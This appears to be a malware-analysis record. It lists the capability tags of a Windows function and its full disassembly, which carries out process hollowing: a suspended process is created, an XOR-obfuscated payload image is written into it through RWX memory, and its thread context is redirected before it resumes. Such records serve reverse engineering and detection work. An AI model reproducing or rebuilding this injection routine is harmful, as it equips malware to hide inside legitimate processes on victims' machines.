Function at 0x140022070
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Encode data using xor
Resume thread
Terminate process
Use process replacement
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push rbp
push rbx
push r12
push r14
push r15
lea rbp, [rsp - 0x1010]
mov eax, 0x1110
call fcn.140175b70
sub rsp, rax
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rbp + 0xfd0], rax
mov r14, r8
mov r15, rdx
mov rbx, rcx
lea rdx, [rbp + 0x4a0]
mov r8d, 0x104
xor ecx, ecx
mov r12, r9
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140022613
mov qword [rsp + 0x1108], rsi
lea rcx, [rbp + 0x6c0]
mov qword [rsp + 0x1100], rdi
xor edx, edx
mov r8d, 0x904
mov qword [rsp + 0x10f8], r13
call fcn.140176388
mov rsi, 0xffffffffffffffff
lea rax, [rbp + 0x4a0]
mov rdi, rsi
inc rdi
cmp byte [rax + rdi], 0
jne 0x140022105
mov r8, rdi
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x6c0]
call sub.VCRUNTIME140.dll_memcpy
movsxd r13, dword [r14 + 0x3c]
movzx eax, byte [r12]
add r13, r14
mov byte [rbp + rdi + 0x6c0], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + rdi + 0x6c1], al
cmp dword [r13], 0x4550
jne 0x1400225fb
xor r12d, r12d
mov dword [rbp - 0x58], Ordinal_27
xor r9d, r9d
mov qword [rbp - 0x50], r12
lea r8, [rbp - 0x58]
mov dword [rbp - 0x48], 1
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1400225fb
mov rcx, qword [rbp - 0x68]
xor r8d, r8d
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x1400225fb
mov rax, qword [rbp - 0x60]
mov ecx, 0xfffffff5
or dword [r15 + 0x3c], 0x100
mov qword [r15 + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff4
mov qword [r15 + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
cmp byte [reloc.WLDAP32.dll_Ordinal_79], r12b
movups xmm0, xmmword [0x140193e20]
mov qword [r15 + 0x60], rax
mov eax, dword [0x140193e38]
movups xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x70], eax
movsd xmm0, qword [0x140193e30]
movsd qword [rsp + 0x68], xmm0
je 0x14002238f
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, r12d
jl 0x140022346
movdqa xmm0, xmmword [0x1401d7fc0]
lea rdx, [rsp + 0x5c]
movdqa xmm4, xmmword [0x1401d7e10]
movdqa xmm3, xmmword [0x1401d8350]
movdqa xmm5, xmmword [0x1401d7ec0]
movdqa xmmword [rbp - 0x80], xmm0
mov r8d, dword [rbp - 0x80]
movaps xmmword [rsp + 0x10e0], xmm6
movdqa xmm6, xmmword [0x1401d7f20]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140022250
movaps xmm6, xmmword [rsp + 0x10e0]
cmp ecx, 0x1c
jge 0x14002238f
movsxd rax, ecx
lea r9, [rsp + 0x58]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp ecx, 0x1c
jl 0x140022360
mov r8d, 0x104
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov qword [rsp + 0x48], rbx
lea rdx, [rbp + 0x6c0]
mov qword [rsp + 0x40], r15
lea rcx, [rbp + 0x5b0]
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400223f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400225fb
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x4d0
call fcn.140176388
mov rcx, qword [rbx + 8]
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rbx]
test eax, eax
jne 0x140022431
mov edx, 0xfffffffc
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400225fb
mov r8d, dword [r13 + 0x50]
mov r9d, 0x3000
mov rdx, qword [r13 + 0x30]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rbx]
mov qword [rbp - 0x70], rax
test rax, rax
jne 0x140022469
mov edx, 0xfffffffb
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400225fb
mov r9d, dword [r13 + 0x54]
mov r8, r14
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140022495
mov rcx, qword [rbx]
mov edx, 0xfffffffa
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400225fb
mov rdi, r12
cmp r12w, word [r13 + 6]
jae 0x1400224f9
mov r15, r12
nop dword [rax]
nop word [rax + rax]
movsxd rax, dword [r14 + 0x3c]
mov rcx, qword [rbx]
add rax, r15
mov qword [rsp + 0x20], r12
mov r8d, dword [rax + r14 + 0x11c]
mov edx, dword [rax + r14 + 0x114]
add r8, r14
add rdx, qword [rbp - 0x70]
mov r9d, dword [rax + r14 + 0x118]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140022530
movzx eax, word [r13 + 6]
inc rdi
add r15, 0x28
cmp rdi, rax
jb 0x1400224b0
mov rdx, qword [rbp + 0x48]
lea r8, [rbp - 0x70]
mov rcx, qword [rbx]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140022543
mov rcx, qword [rbx]
mov edx, 0xfffffff8
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400225fb
mov rcx, qword [rbx]
mov edx, 0xfffffff9
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400225fb
mov eax, dword [r13 + 0x28]
lea rdx, [rbp - 0x40]
add rax, qword [rbp - 0x70]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140022574
mov rcx, qword [rbx]
mov edx, 0xfffffff7
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400225fb
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x140022592
mov rcx, qword [rbx]
mov edx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400225fb
movzx eax, word [0x140193ff4]
mov word [rsp + 0x50], ax
movzx eax, byte [0x140193ff6]
xor byte [rsp + 0x51], 0x35
xor al, 0x36
mov byte [rsp + 0x50], 0x59
mov byte [rsp + 0x52], al
lea rax, [rsp + 0x50]
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], r12b
jne 0x1400225c0
mov rcx, qword [rbp - 0x68]
lea r9, [rbp + 0x490]
mov r8, rsi
mov qword [rsp + 0x20], r12
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x1100]
mov rsi, qword [rsp + 0x1108]
mov r13, qword [rsp + 0x10f8]
mov rcx, qword [rbp + 0xfd0]
xor rcx, rsp
call fcn.140175100
add rsp, 0x1110
pop r15
pop r14
pop r12
pop rbx
pop rbp
ret